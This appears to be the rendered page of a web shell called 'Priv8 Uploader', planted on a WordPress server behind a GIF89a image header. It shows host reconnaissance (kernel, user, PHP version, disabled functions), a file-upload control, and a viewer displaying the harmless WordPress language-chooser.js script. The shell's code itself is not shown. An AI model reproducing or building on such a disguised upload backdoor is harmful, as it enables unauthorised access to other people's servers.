GIF89a;

Priv8 Uploader By InMyMine7

Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
HEX
HEX
Server: Apache
System: Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
User: web78 (5067)
PHP: 8.3.30
Disabled: exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec
Upload Files
File: /var/www/clients/client41/web78/web/wp-admin/js/language-chooser.js
/**
 * @output wp-admin/js/language-chooser.js
 */

jQuery( function($) {
/*
 * Set the correct translation to the continue button and show a spinner
 * when downloading a language.
 */
var select = $( '#language' ),
	submit = $( '#language-continue' );

if ( ! $( 'body' ).hasClass( 'language-chooser' ) ) {
	return;
}

select.trigger( 'focus' ).on( 'change', function() {
	/*
	 * When a language is selected, set matching translation to continue button
	 * and attach the language attribute.
	 */
	var option = select.children( 'option:selected' );
	submit.attr({
		value: option.data( 'continue' ),
		lang: option.attr( 'lang' )
	});
});

$( 'form' ).on( 'submit', function() {
	// Show spinner for languages that need to be downloaded.
	if ( ! select.children( 'option:selected' ).data( 'installed' ) ) {
		$( this ).find( '.step .spinner' ).css( 'visibility', 'visible' );
	}
});

});